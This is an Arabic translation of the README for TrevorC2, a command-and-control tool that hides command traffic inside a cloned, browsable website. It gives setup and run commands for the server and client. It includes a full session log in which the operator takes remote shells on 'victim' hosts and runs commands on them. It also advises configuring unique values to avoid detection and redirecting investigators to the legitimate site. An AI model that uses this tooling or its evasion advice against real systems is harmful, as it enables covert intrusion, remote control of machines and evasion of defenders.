
TrevorC2 هو موقع ويب شرعي (قابل للتصفح) يقوم بنقل اتصالات العميل/الخادم لتنفيذ الأوامر السرية.
كتب بواسطة: ديف كينيدي (@HackingDave) الموقع: https://www.trustedsec.com
لاحظ أن هذا إصدار مبكر جدًا - سيتم إضافة العشوائية والتشفير الثقيل قريبًا.
TrevorC2 هو نموذج خادم/عميل لإخفاء القيادة والتحكم من خلال موقع ويب يمكن تصفحه بشكل طبيعي. يصبح الكشف أكثر صعوبة لأن الفترات الزمنية مختلفة ولا يستخدم طلبات POST لاستخراج البيانات.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
هناك مكونان لـ TrevorC2 - العميل والخادم. يمكن تكوين العميل لاستخدامه مع أي شيء. في هذا المثال، تمت برمجته بلغة Python ولكن يمكن بسهولة نقله إلى C# أو PowerShell أو أي شيء تريده. حاليًا، يدعم trevorc2_client.py نظام ويندوز وماك ولينكس. يمكنك دائمًا تجميع إصدار ويندوز بايت للحصول على ملف تنفيذي، ولكن الأفضل هو استخدام ويندوز دون الحاجة إلى إسقاط ملف تنفيذي كمرحلة أولية.
طريقة عمل الخادم هي إخفاء معلمة موجودة قبل معلمة مباشرة. هذا قابل للتكوين بالكامل، ويوصى بتكوين كل شيء ليكون فريدًا لتجنب الكشف. إليك سير العمل:
1. trevor2_server.py - قم بتحرير الملف أولاً وتخصيص الموقع الذي تريد استنساخه، إلخ. سيقوم الخادم باستنساخ موقع ويب من اختيارك وإنشاء خادم. هذا الخادم قابل للتصفح من قبل أي شخص ويبدو كموقع ويب شرعي. داخل المصدر توجد معلمة (قابلة للتكوين مرة أخرى) تحتوي على التعليمات للعميل. بمجرد أن يتصل العميل، يبحث عن تلك المعلمة، ثم يستخدمها لتنفيذ الأوامر.
2. trevor2_client.py - كل ما تحتاجه في أي خيار قابل للتكوين هو القدرة على الاتصال بموقع ويب، وتحليل بعض البيانات الأساسية، ثم تنفيذ أمر ووضع النتائج في معلمة سلسلة استعلام مشفرة بـ base64 للموقع. هذا كل شيء، ليس صعبًا.
3. trevor2_client.ps1 - تطبيق PowerShell لـ trevor2_client.py، يتيح لك استخدام PowerShell الأصلي للتفاعل مع Trevor2_Server.
pip install -r requirements.txt
أولاً، قم بتحرير trevor2_server.py - غيّر خيارات التكوين والموقع المراد استنساخه.
python trevor2_server.py
ثانيًا، قم بتحرير trevor2_client.py أو ps1 - غيّر التكوين والنظام الذي تريد أن يتواصل معه مرة أخرى.
python trevor2_client.py أو .\trevor2_client.ps1
يدعم TrevorC2 القدرة على التعامل مع عدة شلات قادمة من أسماء مضيفين مختلفة. طريقة عمل TrevorC2 هي أنه سيحدد أسماء المضيفين الجدد كجلسات. يمكنك التفاعل مع الجلسات بمجرد تنفيذ أمر. إذا كان لديك عدة جلسات، يمكنك كتابة أمر والتفاعل مع تلك الجلسة بناءً على رقم الجلسة المخزن عالميًا.
عند بدء TrevorC2 لأول مرة، يمكنك كتابة help أو ? للحصول على معلومات إضافية. استخدام الأمر الأساسي هو "list" الذي سيعرض أي شلات نشطة أو لا شيء على الإطلاق، أو "interact <session_id>" للتفاعل مع الشل الذي تريده.
يمكنك دائمًا كتابة back/exit داخل شل، وسيظل نشطًا ولن يقتل الشل فعليًا.
المثال أدناه:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
يستخدم Dockerfile قائم على Alpine لنشر trevorC2، مفيد للنشر السريع على مزودي الخدمات السحابية. المثال أدناه:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# في هذه المرحلة، إعداد docker-machine للنشر عن بعد يعمل بشكل رائع
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
من المهم تغيير المتغيرات المقدمة في كل من السكريبتات. خاصة SITE_PATH_QUERY ومفتاح التشفير. أوصي أيضًا بالنظر في خيار REDIRECT. بدلاً من استنساخ موقع ويب، لديك خيار آخر سيعيد توجيه المضيف الضحية الذي قد يتصفح الموقع للتحقيق إلى الموقع الشرعي. ببساطة عندما يزور شخص ما الموقع، سيعيد توجيههم إلى الموقع الذي تريد استنساخه. قم بتغيير الموقع المستنسخ من google مثلاً إلى موقع مختلف وشغّل إعادة التوجيه.